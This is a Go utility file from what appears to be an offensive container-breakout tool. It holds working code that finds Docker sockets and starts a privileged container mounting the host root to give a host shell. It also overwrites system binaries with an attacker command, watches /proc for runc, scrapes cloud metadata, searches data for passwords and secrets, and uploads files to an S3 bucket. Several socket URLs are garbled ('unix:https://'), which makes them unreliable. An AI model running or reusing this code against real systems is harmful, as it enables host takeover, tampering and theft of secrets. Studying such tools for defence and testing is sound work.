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utils.go
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utils.go
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package main
import (
"archive/tar"
"bufio"
"bytes"
"compress/gzip"
"crypto/tls"
"fmt"
"io"
"io/ioutil"
"log"
"math/rand"
"net"
"net/http"
"os"
"os/exec"
"os/signal"
"path/filepath"
"strconv"
"strings"
"syscall"
"time"
"github.com/aws/aws-sdk-go/aws"
"github.com/aws/aws-sdk-go/aws/credentials"
"github.com/aws/aws-sdk-go/aws/session"
"github.com/aws/aws-sdk-go/service/s3/s3manager"
"github.com/creack/pty"
"github.com/tv42/httpunix"
"golang.org/x/crypto/ssh/terminal"
)
func fileExists(filename string) bool {
info, err := os.Stat(filename)
if os.IsNotExist(err) {
return false
}
return !info.IsDir()
}
func httpRequestBearer(url, token string) (int, error) {
if *verbosePtr {
fmt.Println("[*] Making HTTP Request:", url)
}
transport := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
var bearer = "Bearer " + token
req, err := http.NewRequest("GET", url, nil)
req.Header.Add("Authorization", bearer)
timeout := time.Duration(2 * time.Second)
client := http.Client{
Timeout: timeout,
Transport: transport,
}
resp, err := client.Do(req)
if err != nil {
return 0, err
}
defer resp.Body.Close()
return resp.StatusCode, nil
}
func generateRandomString(len int) string {
rand.Seed(time.Now().UTC().UnixNano())
bytes := make([]byte, len)
for i := 0; i < len; i++ {
bytes[i] = byte(65 + rand.Intn(25))
}
return string(bytes)
}
func scrapeGcpMetadata(host, port string) (string, error) {
connStr := fmt.Sprintf("%s:%s", host, port)
d := net.Dialer{Timeout: time.Second * 5}
fmt.Println("[+] Attempting to connect to: ", connStr)
conn, err := d.Dial("tcp", connStr)
if err != nil {
return "", err
}
fmt.Fprintf(conn, "GET / HTTP/1.0\r\n\r\n")
var buf bytes.Buffer
bytesWritten, err := io.Copy(&buf, conn)
if err != nil {
return "", err
}
fmt.Printf("[*] Bytes received from metadata: %d\n", bytesWritten)
return buf.String(), nil
}
func testUploadOfS3(fileToPush, s3Bucket, s3Region string) {
fmt.Printf("[+] Pushing %s to -> %s\n", fileToPush, s3Bucket)
s, err := session.NewSession(&aws.Config{
Region: aws.String(s3Region),
Credentials: credentials.AnonymousCredentials,
})
if err != nil {
fmt.Println("[ERROR] ", err)
}
err = s3Push(s, fileToPush, s3Bucket)
if err != nil {
fmt.Println("[ERROR] ", err)
}
}
func s3Push(s *session.Session, filename, s3Bucket string) error {
uploader := s3manager.NewUploader(s)
file, err := os.Open(filename)
if err != nil {
return fmt.Errorf("failed to open file %q, %v", filename, err)
}
result, err := uploader.Upload(&s3manager.UploadInput{
Bucket: aws.String(s3Bucket),
Key: aws.String(filename),
Body: file,
})
if err != nil {
return fmt.Errorf("failed to upload file, %v", err)
}
fmt.Println("[*] Data uploaded to:", *aws.String(result.Location))
return nil
}
func getGcpMetada() {
fmt.Println("[+] Attempting to get GCP Metadata")
}
func execDocker(dockerSockPath string) error {
cmd := "./docker/docker -H unix:https://" + dockerSockPath + " run docker id"
out, err := exec.Command("sh", "-c", cmd).Output()
if err != nil {
return err
}
if *verbosePtr {
fmt.Printf("[*] Command Output: %s\n", string(out[:]))
}
exitCode = 1
return nil
}
func autopwnDocker(dockerSock string, cicd bool) error {
fmt.Println("[+] Attempting to autopwn: ", dockerSock)
_, err := os.Stat("docker/docker")
fileUrl := "https://download.docker.com/linux/static/stable/x86_64/docker-18.09.2.tgz"
if err != nil {
if *verbosePtr {
fmt.Println("[*] Getting Docker client...")
}
if err := downloadFile("docker-18.09.2.tgz", fileUrl); err != nil {
return err
}
}
file, err := os.Open("docker-18.09.2.tgz")
if err != nil {
return err
}
err = untar(".", file)
if err != nil {
return err
}
if *verbosePtr {
fmt.Println("[*] Successfully got Docker client...")
}
fmt.Println("[+] Attempting to escape to host...")
if cicd {
if *verbosePtr {
fmt.Println("[+] Attempting in CICD Mode")
}
err := execDocker(dockerSock)
if err != nil {
fmt.Println("[*] Failed to escape container")
return err
}
fmt.Println("[!] Successfully escaped container")
} else {
fmt.Println("[+] Attempting in TTY Mode")
err := dropToTTY(dockerSock)
if err != nil {
return err
}
fmt.Println("[*] Successfully exited TTY")
}
return nil
}
func huntDomainSockets() {
fmt.Println("[+] Hunting Down UNIX Domain Sockets from:", *pathPtr)
sockets, _ := getValidSockets(*pathPtr)
for _, element := range sockets {
fmt.Println("[!] Found Valid UNIX Domain Socket: ", element)
}
}
func checkForJuicyDeets(wordlist string, data string, terms []string) bool {
if wordlist != "nil" {
for _, term := range terms {
if strings.Contains(strings.ToLower(data), strings.ToLower(term)) {
return true
}
}
} else {
if strings.Contains(strings.ToLower(data), "password") || strings.Contains(strings.ToLower(data), "secret") {
return true
}
return false
}
return false
}
func execShellCmd2(command string, args ...string) error {
cmd := exec.Command(command, args...)
if *verbosePtr {
fmt.Println("[*] Running command and waiting to finish")
}
err := cmd.Run()
if err != nil {
return err
}
return nil
}
func execShellCmd(cmd string) (string, error) {
out, err := exec.Command("sh", "-c", cmd).Output()
if err != nil {
return string(out[:]), err
}
return string(out[:]), nil
}
func performHttpGetRequest(url string) (int, error) {
timeout := time.Duration(3 * time.Second)
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := http.Client{
Timeout: timeout,
Transport: tr,
}
resp, err := client.Get(url)
if err != nil {
return 0, err
}
defer resp.Body.Close()
return resp.StatusCode, nil
}
func getLinesFromFile(path string) ([]string, error) {
fmt.Println("[*] Loading entries from:", path)
var lines []string
inFile, err := os.Open(path)
if err != nil {
return nil, err
}
defer inFile.Close()
scanner := bufio.NewScanner(inFile)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
lines = append(lines, scanner.Text())
}
return lines, nil
}
func queryEndpoint(url string) bool {
fmt.Printf("[*] Attempting to query metadata endpoint: '%s'\n", url)
respCode, err := performHttpGetRequest(url)
if err != nil {
if *verbosePtr {
fmt.Println("[ERROR]", err)
}
}
if respCode > 0 {
fmt.Printf("[!] Reponse from '%s' -> %d\n", url, respCode)
return true
}
return false
}
func processCmdLine() {
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
}
func copyFile(src, dst string) error {
if *verbosePtr {
fmt.Printf("[!] Copying %s -> %s\n", src, dst)
}
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
out, err := os.Create(dst)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
if err != nil {
return err
}
return out.Close()
}
func createFile(filename, data string) error {
if *verbosePtr {
fmt.Println("[*] Creating file: ", filename)
}
f, err := os.Create(filename)
if err != nil {
fmt.Println(err)
return err
}
l, err := f.WriteString(data)
if err != nil {
fmt.Println(err)
f.Close()
return err
}
if *verbosePtr {
fmt.Println(l, "[*] Bytes written successfully")
}
err = f.Close()
if err != nil {
fmt.Println(err)
return err
}
return nil
}
func hijackDirectory(dir, command string) {
fmt.Println("[+] Currently hijacking: ", dir)
files, err := ioutil.ReadDir(dir)
if err != nil {
log.Fatal(err)
}
if *verbosePtr {
fmt.Printf("[*] Number of binaries identified: %d\n", len(files))
}
hijackCount := 0
for _, file := range files {
if strings.ToLower(file.Name()) == "busybox" || strings.ToLower(file.Name()) == "sh" || strings.ToLower(file.Name()) == "dash" ||
strings.ToLower(file.Name()) == "ls" || strings.ToLower(file.Name()) == "echo" || strings.ToLower(file.Name()) == "chmod" ||
strings.ToLower(file.Name()) == "bash" || strings.ToLower(file.Name()) == "cp" || strings.ToLower(file.Name()) == "compgen" ||
strings.ToLower(file.Name()) == "rm" || strings.ToLower(file.Name()) == "mv" || strings.ToLower(file.Name()) == "which" ||
strings.ToLower(file.Name()) == "curl" || strings.ToLower(file.Name()) == "chown" || strings.ToLower(file.Name()) == "cat" {
fmt.Println("[*] Skipping-> ", file.Name())
} else {
if *verbosePtr {
fmt.Println("[*] Hijacking -> ", file.Name())
}
err := createFile(file.Name(), command)
if err != nil {
fmt.Println("[*] Error creating tmp file->", err)
err = execShellCmd2("rm", file.Name())
if err != nil {
fmt.Println("[*] Error cleaning up->", err)
}
continue
}
err = execShellCmd2("rm", fmt.Sprintf("%s/%s", dir, file.Name()))
if err != nil {
if *verbosePtr {
fmt.Println("[*] Error deleting binary file->", err)
}
err = execShellCmd2("rm", file.Name())
if err != nil {
fmt.Println("[*] Error cleaning up->", err)
}
continue
}
err = copyFile(file.Name(), fmt.Sprintf("%s/%s", dir, file.Name()))
if err != nil {
fmt.Println("[*] Error copying file->", err)
continue
}
err = execShellCmd2("chmod", "+x", fmt.Sprintf("%s/%s", dir, file.Name()))
if err != nil {
fmt.Println("[*] Error chmoding file->", err)
continue
}
err = execShellCmd2("rm", file.Name())
if err != nil {
fmt.Println("[*] Error cleaning up->", err)
continue
}
if err == nil {
fmt.Println("[*] Successfully Hijacked -> ", file.Name())
hijackCount++
}
}
}
fmt.Println("[+] Files Hijacked: ", hijackCount)
}
func findDomainSockets(path string) {
fmt.Println("[+] Looking for UNIX Domain Sockets from:", path)
sockets, _ := getValidSockets(path)
for _, element := range sockets {
fmt.Println("[!] Valid Socket: " + element)
exitCode = 1
}
}
func checkForDockerEnvSock() (string, bool) {
fmt.Println("[*] Looking for Docker ENV variables")
for _, envVar := range os.Environ() {
if strings.Contains(strings.ToUpper(envVar), "DOCKER_HOST") {
return envVar[strings.Index(envVar, "=")+1:], true
}
}
return "", false
}
func downloadFile(filepath string, url string) error {
transport := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: transport}
resp, err := client.Get(url)
if err != nil {
return err
}
defer resp.Body.Close()
out, err := os.Create(filepath)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, resp.Body)
return err
}
func dropToTTY(dockerSockPath string) error {
// this code has been copy+pasted directly from https://github.com/kr/pty, it's that awesome
cmd := "./docker/docker -H unix:https://" + dockerSockPath + " run -ti --privileged --net=host --pid=host --ipc=host -v /:/host alpine:latest /bin/sh"
//additional check for userns-remap enabled or not, if yes, drop the --net, --pid and --ipc options as the host's namespace not accesible
file, err := os.Open("/proc/self/uid_map")
if err != nil {
log.Fatal(err)
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
if strings.Fields(scanner.Text())[1] != "0" {
cmd = "./docker/docker -H unix:https://" + dockerSockPath + " run -ti -v /:/host alpine:latest /bin/sh"
}
}
if err := scanner.Err(); err != nil {
log.Fatal(err)
}
fmt.Println(cmd)
c := exec.Command("sh", "-c", cmd)
// Start the command with a pty.
ptmx, err := pty.Start(c)
if err != nil {
return err
}
// Make sure to close the pty at the end.
defer func() { _ = ptmx.Close() }() // Best effort.
// Handle pty size.
ch := make(chan os.Signal, 1)
signal.Notify(ch, syscall.SIGWINCH)
go func() {
for range ch {
if err := pty.InheritSize(os.Stdin, ptmx); err != nil {
log.Printf("error resizing pty: %s", err)
}
}
}()
ch <- syscall.SIGWINCH // Initial resize.
go func() {
ptmx.Write([]byte("chroot /host && clear\n"))
}()
// Set stdin in raw mode.
oldState, err := terminal.MakeRaw(int(os.Stdin.Fd()))
if err != nil {
panic(err)
}
defer func() { _ = terminal.Restore(int(os.Stdin.Fd()), oldState) }() // Best effort.
go func() {
ptmx.Write([]byte("echo 'You are now on the underlying host'\n"))
}()
// Copy stdin to the pty and the pty to stdout.
go func() { _, _ = io.Copy(ptmx, os.Stdin) }()
_, _ = io.Copy(os.Stdout, ptmx)
return nil
}
func untar(dst string, r io.Reader) error {
// this code has been copy pasted from this great gist https://gist.github.com/sdomino/635a5ed4f32c93aad131#file-untargz-go
gzr, err := gzip.NewReader(r)
if err != nil {
return err
}
defer gzr.Close()
tr := tar.NewReader(gzr)
for {
header, err := tr.Next()
switch {
// if no more files are found return
case err == io.EOF:
return nil
// return any other error
case err != nil:
return err
// if the header is nil, just skip it (not sure how this happens)
case header == nil:
continue
}
// the target location where the dir/file should be created
target := filepath.Join(dst, header.Name)
// check the file type
switch header.Typeflag {
// if its a dir and it doesn't exist create it
case tar.TypeDir:
if _, err := os.Stat(target); err != nil {
if err := os.MkdirAll(target, 0755); err != nil {
return err
}
}
// if it's a file create it
case tar.TypeReg:
f, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))
if err != nil {
return err
}
// copy over contents
if _, err := io.Copy(f, tr); err != nil {
return err
}
// manually close here after each file operation; defering would cause each file close
// to wait until all operations have completed.
f.Close()
}
}
}
func getDockerEnabledSockets(socks []string) []string {
fmt.Println("[+] Hunting Docker Socks")
var dockerSocks []string
for _, element := range socks {
resp, err := checkSock(element)
if err == nil {
if resp.StatusCode >= 200 && resp.StatusCode <= 299 {
dockerSocks = append(dockerSocks, element)
if *verbosePtr {
fmt.Println("[+] Valid Docker Socket: " + element)
}
} else {
if *verbosePtr {
fmt.Println("[+] Invalid Docker Socket: " + element)
}
}
defer resp.Body.Close()
} else {
if *verbosePtr {
fmt.Println("[+] Invalid Docker Socket: " + element)
}
}
}
return dockerSocks
}
func getHTTPEnabledSockets(socks []string) []string {
var httpSocks []string
for _, element := range socks {
_, err := checkSock(element)
if err == nil {
httpSocks = append(httpSocks, element)
if *verbosePtr {
fmt.Println("[+] Valid HTTP Socket: " + element)
}
} else {
if *verbosePtr {
fmt.Println("[+] Invalid HTTP Socket: " + element)
}
}
}
return httpSocks
}
func walkpath(path string, info os.FileInfo, err error) error {
if err != nil {
if *verbosePtr {
fmt.Println("[ERROR]: ", err)
}
} else {
switch mode := info.Mode(); {
case mode&os.ModeSocket != 0:
validSocks = append(validSocks, path)
default:
if *verbosePtr {
fmt.Println("[*] Invalid Socket: " + path)
}
}
}
return nil
}
func getValidSockets(startPath string) ([]string, error) {
validSocks = nil
err := filepath.Walk(startPath, walkpath)
if err != nil {
if *verbosePtr {
fmt.Println("[ERROR]: ", err)
}
return nil, err
}
return validSocks, nil
}
func checkSock(path string) (*http.Response, error) {
if *verbosePtr {
fmt.Println("[-] Checking Sock for HTTP: " + path)
}
u := &httpunix.Transport{
DialTimeout: 100 * time.Millisecond,
RequestTimeout: 1 * time.Second,
ResponseHeaderTimeout: 1 * time.Second,
}
u.RegisterLocation("dockerd", path)
var client = http.Client{
Transport: u,
}
resp, err := client.Get("http+unix:https://dockerd/info")
if resp == nil {
return nil, err
}
return resp, nil
}
func debug(data []byte, err error) {
if err == nil {
fmt.Printf("%s\n\n", data)
} else {
log.Fatalf("%s\n\n", err)
}
}